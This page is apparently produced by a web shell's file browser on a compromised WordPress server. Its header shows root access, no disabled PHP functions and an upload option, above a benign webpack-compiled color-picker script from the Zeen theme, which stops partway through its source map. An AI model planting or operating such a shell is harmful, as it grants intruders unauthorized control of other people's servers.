HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/breadsecret.com_bak20260330/wp-content/themes/zeen/assets/admin/js/controls.js
"use strict";

function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

/******/
(function (modules) {
  // webpackBootstrap

  /******/
  // The module cache

  /******/
  var installedModules = {};
  /******/

  /******/
  // The require function

  /******/

  function __webpack_require__(moduleId) {
    /******/

    /******/
    // Check if module is in cache

    /******/
    if (installedModules[moduleId]) {
      /******/
      return installedModules[moduleId].exports;
      /******/
    }
    /******/
    // Create a new module (and put it into the cache)

    /******/


    var module = installedModules[moduleId] = {
      /******/
      i: moduleId,

      /******/
      l: false,

      /******/
      exports: {}
      /******/

    };
    /******/

    /******/
    // Execute the module function

    /******/

    modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
    /******/

    /******/
    // Flag the module as loaded

    /******/

    module.l = true;
    /******/

    /******/
    // Return the exports of the module

    /******/

    return module.exports;
    /******/
  }
  /******/

  /******/

  /******/
  // expose the modules object (__webpack_modules__)

  /******/


  __webpack_require__.m = modules;
  /******/

  /******/
  // expose the module cache

  /******/

  __webpack_require__.c = installedModules;
  /******/

  /******/
  // define getter function for harmony exports

  /******/

  __webpack_require__.d = function (exports, name, getter) {
    /******/
    if (!__webpack_require__.o(exports, name)) {
      /******/
      Object.defineProperty(exports, name, {
        enumerable: true,
        get: getter
      });
      /******/
    }
    /******/

  };
  /******/

  /******/
  // define __esModule on exports

  /******/


  __webpack_require__.r = function (exports) {
    /******/
    if (typeof Symbol !== 'undefined' && Symbol.toStringTag) {
      /******/
      Object.defineProperty(exports, Symbol.toStringTag, {
        value: 'Module'
      });
      /******/
    }
    /******/


    Object.defineProperty(exports, '__esModule', {
      value: true
    });
    /******/
  };
  /******/

  /******/
  // create a fake namespace object

  /******/
  // mode & 1: value is a module id, require it

  /******/
  // mode & 2: merge all properties of value into the ns

  /******/
  // mode & 4: return value when already ns object

  /******/
  // mode & 8|1: behave like require

  /******/


  __webpack_require__.t = function (value, mode) {
    /******/
    if (mode & 1) value = __webpack_require__(value);
    /******/

    if (mode & 8) return value;
    /******/

    if (mode & 4 && _typeof(value) === 'object' && value && value.__esModule) return value;
    /******/

    var ns = Object.create(null);
    /******/

    __webpack_require__.r(ns);
    /******/


    Object.defineProperty(ns, 'default', {
      enumerable: true,
      value: value
    });
    /******/

    if (mode & 2 && typeof value != 'string') for (var key in value) {
      __webpack_require__.d(ns, key, function (key) {
        return value[key];
      }.bind(null, key));
    }
    /******/

    return ns;
    /******/
  };
  /******/

  /******/
  // getDefaultExport function for compatibility with non-harmony modules

  /******/


  __webpack_require__.n = function (module) {
    /******/
    var getter = module && module.__esModule ?
    /******/
    function getDefault() {
      return module['default'];
    } :
    /******/
    function getModuleExports() {
      return module;
    };
    /******/

    __webpack_require__.d(getter, 'a', getter);
    /******/


    return getter;
    /******/
  };
  /******/

  /******/
  // Object.prototype.hasOwnProperty.call

  /******/


  __webpack_require__.o = function (object, property) {
    return Object.prototype.hasOwnProperty.call(object, property);
  };
  /******/

  /******/
  // __webpack_public_path__

  /******/


  __webpack_require__.p = "";
  /******/

  /******/

  /******/
  // Load entry module and return exports

  /******/

  return __webpack_require__(__webpack_require__.s = 0);
  /******/
})(
/************************************************************************/

/******/
{
  /***/
  "./_develop/js/customizer/controls/ColorPickerForm.js":
  /*!************************************************************!*\
    !*** ./_develop/js/customizer/controls/ColorPickerForm.js ***!
    \************************************************************/

  /*! exports provided: default */

  /***/
  function _developJsCustomizerControlsColorPickerFormJs(module, __webpack_exports__, __webpack_require__) {
    "use strict";

    eval("__webpack_require__.r(__webpack_exports__);\nfunction _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); }\n\n/* globals _, wp, React */\nvar _wp$components = wp.components,\n    ColorPicker = _wp$components.ColorPicker,\n    Dropdown = _wp$components.Dropdown;\nvar __ = wp.i18n.__;\n\nvar ColorPickerForm = function ColorPickerForm(props) {\n  /**\r\n   * Get the CSS value of the selected color.\r\n   *\r\n   * @param {Object} color - The color object from react-color.\r\n   * @return {string}\r\n   */\n  var getCSSColor = function getCSSColor(color) {\n    if ('string' === typeof color) {\n      return color;\n    }\n\n    if (color.css) {\n      return color.css;\n    }\n\n    if (color.rgb && typeof color.rgb.a !== 'undefined' && color.rgb.a < 1) {\n      return 'rgba(' + color.rgb.r + ',' + color.rgb.g + ',' + color.rgb.b + ',' + color.rgb.a + ')';\n    }\n\n    if (color.hex) {\n      return color.hex;\n    }\n\n    return color;\n  };\n  /**\r\n   * Properly format the value to be saved depending on our options.\r\n   *\r\n   * @param {string} value\r\n   * @return {string|Object}\r\n   */\n\n\n  var formatValue = function formatValue(value) {\n    var saveArray = 'array' === props.choices.save_as;\n    var color, white, black, finalValue;\n\n    if (saveArray) {\n      color = Color(value);\n      white = Color('#ffffff');\n      black = Color('#000000'); // Get the basics for this color.\n\n      finalValue = {\n        r: color.r(),\n        g: color.g(),\n        b: color.b(),\n        h: color.h(),\n        s: color.s(),\n        l: color.l(),\n        a: color.a(),\n        v: color.toHsl().v\n      };\n      finalValue.hex = 1 === finalValue.a ? color.toCSS() : color.clone().a(1).toCSS();\n      finalValue.css = 1 === finalValue.a ? finalValue.hex : 'rgba(' + finalValue.r + ',' + finalValue.g + ',' + finalValue.b + ',' + finalValue.a + ')'; // A11y properties.\n\n      finalValue.a11y = {\n        luminance: color.toLuminosity(),\n        distanceFromWhite: color.getDistanceLuminosityFrom(white),\n        distanceFromBlack: color.getDistanceLuminosityFrom(black),\n        maxContrastColor: color.clone().a(1).getMaxContrastColor().toCSS(),\n        readableContrastingColorFromWhite: [color.clone().a(1).getReadableContrastingColor(white, 7).toCSS(), color.clone().a(1).getReadableContrastingColor(white, 4.5).toCSS()],\n        readableContrastingColorFromBlack: [color.clone().a(1).getReadableContrastingColor(black, 7).toCSS(), color.clone().a(1).getReadableContrastingColor(black, 4.5).toCSS()]\n      };\n      finalValue.a11y.isDark = finalValue.a11y.distanceFromWhite > finalValue.a11y.distanceFromBlack;\n      return finalValue;\n    }\n\n    return value;\n  };\n  /**\r\n   * Save the value when changing the colorpicker.\r\n   *\r\n   * @param {Object} color - The color object from react-color.\r\n   * @return {void}\r\n   */\n\n\n  var handleChangeComplete = function handleChangeComplete(color) {\n    wp.customize.control(props.customizerSetting.id).setting.set(formatValue(getCSSColor(color)));\n  };\n  /**\r\n   * Reset value to its default.\r\n   *\r\n   * @param {Object} e - The click event.\r\n   * @return {void}\r\n   */\n\n\n  var resetValue = function resetValue(e) {\n    e.preventDefault();\n    var defaultValue = props.choices.default ? props.choices.default : '';\n\n    if ('string' === typeof defaultValue) {\n      defaultValue = formatValue(defaultValue);\n    }\n\n    wp.customize.control(props.customizerSetting.id).setting.set(defaultValue);\n  };\n\n  return (\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"customize-control-inner\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"zeen-option--row\"\n    },\n    /*#__PURE__*/\n    React.createElement(\"label\", {\n      className: \"customize-control-title\",\n      htmlFor: props.control.id + '-input',\n      dangerouslySetInnerHTML: {\n        __html: props.label\n      }\n    }),\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"customize-control-content\"\n    },\n    /*#__PURE__*/\n    React.createElement(Dropdown, {\n      className: \"zeen-color-picker-drop tipi-inline-flex\",\n      contentClassName: \"zeen-color-picker-box\",\n      position: \"bottom right\",\n      popoverProps: {\n        noArrow: false\n      },\n      renderToggle: function renderToggle(_ref) {\n        var isOpen = _ref.isOpen,\n            onToggle = _ref.onToggle;\n        return (\n          /*#__PURE__*/\n          React.createElement(\"button\", {\n            className: \"zeen-color-indicator\",\n            onClick: function onClick(e) {\n              e.preventDefault();\n              onToggle();\n            },\n            \"aria-expanded\": isOpen,\n            style: {\n              backgroundColor: 'array' === props.choices.save_as ? props.value.css : props.value\n            }\n          })\n        );\n      },\n      renderContent: function renderContent() {\n        return (\n          /*#__PURE__*/\n          React.createElement(ColorPicker, _extends({\n            width: \"300\"\n          }, props.choices, {\n            color: 'array' === props.choices.save_as ? props.value.css : props.value,\n            onChangeComplete: handleChangeComplete\n          }))\n        );\n      }\n    }),\n    /*#__PURE__*/\n    React.createElement(\"span\", {\n      className: 'zeen-reset-wrap' + (props.choices.default && props.choices.default === props.value ? ' zeen--clean' : '')\n    },\n    /*#__PURE__*/\n    React.createElement(\"span\", {\n      onClick: resetValue,\n      className: \"dashicons dashicons-image-rotate zeen-reset\",\n      title: \"Reset to default\"\n    })))), props.description &&\n    /*#__PURE__*/\n    React.createElement(\"span\", {\n      className: \"description customize-control-description\",\n      dangerouslySetInnerHTML: {\n        __html: props.description\n      }\n    }),\n    /*#__PURE__*/\n    React.createElement(\"div\", {\n      className: \"customize-control-notifications-container\",\n      ref: props.setNotificationContainer\n    }))\n  );\n};\n\n/* harmony default export */ __webpack_exports__[\"default\"] = (ColorPickerForm);\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8vLi9fZGV2ZWxvcC9qcy9jdXN0b21pemVyL2NvbnRyb2xzL0NvbG9yUGlja2VyRm9ybS5qcz85NTM3Il0sIm5hbWVzIjpbIndwIiwiY29tcG9uZW50cyIsIkNvbG9yUGlja2VyIiwiRHJvcGRvd24iLCJfXyIsImkxOG4iLCJDb2xvclBpY2tlckZvcm0iLCJwcm9wcyIsImdldENTU0NvbG9yIiwiY29sb3IiLCJjc3MiLCJyZ2IiLCJhIiwiciIsImciLCJiIiwiaGV4IiwiZm9ybWF0VmFsdWUiLCJ2YWx1ZSIsInNhdmVBcnJheSIsImNob2ljZXMiLCJzYXZlX2FzIiwid2hpdGUiLCJibGFjayIsImZpbmFsVmFsdWUiLCJDb2xvciIsImgiLCJzIiwibCIsInYiLCJ0b0hzbCIsInRvQ1NTIiwiY2xvbmUiLCJhMTF5IiwibHVtaW5hbmNlIiwidG9MdW1pbm9zaXR5IiwiZGlzdGFuY2VGcm9tV2hpdGUiLCJnZXREaXN0YW5jZUx1bWlub3NpdHlGcm9tIiwiZGlzdGFuY2VGcm9tQmxhY2siLCJtYXhDb250cmFzdENvbG9yIiwiZ2V0TWF4Q29udHJhc3RDb2xvciIsInJlYWRhYmxlQ29udHJhc3RpbmdDb2xvckZyb21XaGl0ZSIsImdldFJlYWRhYmxlQ29udHJhc3RpbmdDb2xvciIsInJlYWRhYmxlQ29udHJhc3RpbmdDb2xvckZyb21CbGFjayIsImlzRGFyayIsImhhbmRsZUNoYW5nZUNvbXBsZXRlIiwiY3VzdG9taXplIiwiY29udHJvbCIsImN1c3RvbWl6ZXJTZXR0aW5nIiwiaWQiLCJzZXR0aW5nIiwic2V0IiwicmVzZXRWYWx1ZSIsImUiLCJwcmV2ZW50RGVmYXVsdCIsImRlZmF1bHRWYWx1ZSIsImRlZmF1bHQiLCJfX2h0bWwiLCJsYWJlbCIsIm5vQXJyb3ciLCJpc09wZW4iLCJvblRvZ2dsZSIsImJhY2tncm91bmRDb2xvciIsImRlc2NyaXB0aW9uIiwic2V0Tm90aWZpY2F0aW9uQ29udGFpbmVyIl0sIm1hcHBpbmdzIjoiOzs7QUFBQTtx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RUFBR2tDLFVBQWhCO0FBQTZCLGVBQVMsRUFBQyw2Q0FBdkM7QUFBcUYsV0FBSyxFQUFDO0FBQTNGLE1BREQsQ0FsQkQsQ0FGRCxDQURELEVBMEJHN0MsS0FBSyxDQUFDd0QsV0FBTjtBQUFBO0FBQXFCO0FBQU0sZUFBUyxFQUFDLDJDQUFoQjtBQUE0RCw2QkFBdUIsRUFBRTtBQUFFTixjQUFNLEVBQUVsRCxLQUFLLENBQUN3RDtBQUFoQjtBQUFyRixNQTFCeEI7QUFBQTtBQTJCQztBQUFLLGVBQVMsRUFBQywyQ0FBZjtBQUEyRCxTQUFHLEVBQUd4RCxLQUFLLENBQUN5RDtBQUF2RSxNQTNCRDtBQUREO0FBK0JBLENBcElEOztBQXFJZTFELDhFQUFmIiwiZmlsZSI6Ii4vX2RldmVsb3AvanMvY3VzdG9taXplci9jb250cm9scy9Db2xvclBpY2tlckZvcm0uanMuanMiLCJzb3VyY2VzQ29udGVudCI6WyIvKiBnbG9iYWxzIF8sIHdwLCBSZWFjdCAqL1xyXG5jb25zdCB7XHJcblx0Q29sb3JQaWNrZXIsXHJcblx0RHJvcGRvd25cclxufSA9IHdwLmNvbXBvbmVudHM7XHJcbmNvbnN0IHsgX18gfSA9IHdwLmkxOG47XHJcblxyXG5jb25zdCBDb2xvclBpY2tlckZvcm0gPSAoIHByb3BzICkgPT4ge1xyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgdGhlIENTUyB2YWx1ZSBvZiB0aGUgc2VsZWN0ZWQgY29sb3IuXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge09iamVjdH0gY29sb3IgLSBUaGUgY29sb3Igb2JqZWN0IGZyb20gcmVhY3QtY29sb3IuXHJcblx0ICogQHJldHVybiB7c3RyaW5nfVxyXG5cdCAqL1xyXG5cdGNvbnN0IGdldENTU0NvbG9yID0gKCBjb2xvciApID0+IHtcclxuXHRcdGlmICggJ3N0cmluZycgPT09IHR5cGVvZiBjb2xvciApIHtcclxuXHRcdFx0cmV0dXJuIGNvbG9yO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCBjb2xvci5jc3MgKSB7XHJcblx0XHRcdHJldHVybiBjb2xvci5jc3M7XHJcblx0XHR9XHJcblx0XHRpZiAoIGNvbG9yLnJnYiAmJiB0eXBlb2YgY29sb3IucmdiLmEgIT09ICd1bmRlZmluZWQnICYmIGNvbG9yLnJnYi5hIDwgMSApIHtcclxuXHRcdFx0cmV0dXJuICdyZ2JhKCcgKyBjb2xvci5yZ2IuciArICcsJyArIGNvbG9yLnJnYi5nICsgJywnICsgY29sb3IucmdiLmIgKyAnLCcgKyBjb2xvci5yZ2IuYSArICcpJztcclxuXHRcdH1cclxuXHRcdGlmICggY29sb3IuaGV4ICkge1xyXG5cdFx0XHRyZXR1cm4gY29sb3IuaGV4O1xyXG5cdFx0fVxyXG5cdFx0cmV0dXJuIGNvbG9yO1xyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogUHJvcGVybHkgZm9ybWF0IHRoZSB2YWx1ZSB0byBiZSBzYXZlZCBkZXBlbmRpbmcgb24gb3VyIG9wdGlvbnMuXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge3N0cmluZ30gdmFsdWVcclxuXHQgKiBAcmV0dXJuIHtzdHJpbmd8T2JqZWN0fVxyXG5cdCAqL1xyXG5cdGNvbnN0IGZvcm1hdFZhbHVlID0gKCB2YWx1ZSApID0+IHtcclxuXHRcdGNvbnN0IHNhdmVBcnJheSA9ICggJ2FycmF5JyA9PT0gcHJvcHMuY2hvaWNlcy5zYXZlX2FzICk7XHJcblx0XHRsZXQgY29sb3IsIHdoaXRlLCBibGFjaywgZmluYWxWYWx1ZTtcclxuXHRcdGlmICggc2F2ZUFycmF5ICkge1xyXG5cdFx0XHRjb2xvciA9IENvbG9yKCB2YWx1ZSApO1xyXG5cdFx0XHR3aGl0ZSA9IENvbG9yKCAnI2ZmZmZmZicgKTtcclxuXHRcdFx0YmxhY2sgPSBDb2xvciggJyMwMDAwMDAnICk7XHJcblxyXG5cdFx0XHQvLyBHZXQgdGhlIGJhc2ljcyBmb3IgdGhpcyBjb2xvci5cclxuXHRcdFx0ZmluYWxWYWx1ZSA9IHtcclxuXHRcdFx0XHRyOiBjb2xvci5yKCksXHJcblx0XHRcdFx0ZzogY29sb3IuZygpLFxyXG5cdFx0XHRcdGI6IGNvbG9yLmIoKSxcclxuXHRcdFx0XHRoOiBjb2xvci5oKCksXHJcblx0XHRcdFx0czogY29sb3IucygpLFxyXG5cdFx0XHRcdGw6IGNvbG9yLmwoKSxcclxuXHRcdFx0XHRhOiBjb2xvci5hKCksXHJcblx0XHRcdFx0djogY29sb3IudG9Ic2woKS52XHJcblx0XHRcdH07XHJcblxyXG5cdFx0XHRmaW5hbFZhbHVlLmhleCA9IDEgPT09IGZpbmFsVmFsdWUuYSA/IGNvbG9yLnRvQ1NTKCkgOiBjb2xvci5jbG9uZSgpLmEoIDEgKS50b0NTUygpO1xyXG5cdFx0XHRmaW5hbFZhbHVlLmNzcyA9IDEgPT09IGZpbmFsVmFsdWUuYSA/IGZpbmFsVmFsdWUuaGV4IDogJ3JnYmEoJyArIGZpbmFsVmFsdWUuciArICcsJyArIGZpbmFsVmFsdWUuZyArICcsJyArIGZpbmFsVmFsdWUuYiArICcsJyArIGZpbmFsVmFsdWUuYSArICcpJztcclxuXHJcblx0XHRcdC8vIEExMXkgcHJvcGVydGllcy5cclxuXHRcdFx0ZmluYWxWYWx1ZS5hMTF5ID0ge1xyXG5cdFx0XHRcdGx1bWluYW5jZTogY29sb3IudG9MdW1pbm9zaXR5KCksXHJcblx0XHRcdFx0ZGlzdGFuY2VGcm9tV2hpdGU6IGNvbG9yLmdldERpc3RhbmNlTHVtaW5vc2l0eUZyb20oIHdoaXRlICksXHJcblx0XHRcdFx0ZGlzdGFuY2VGcm9tQmxhY2s6IGNvbG9yLmdldERpc3RhbmNlTHVtaW5vc2l0eUZyb20oIGJsYWNrICksXHJcblx0XHRcdFx0bWF4Q29udHJhc3RDb2xvcjogY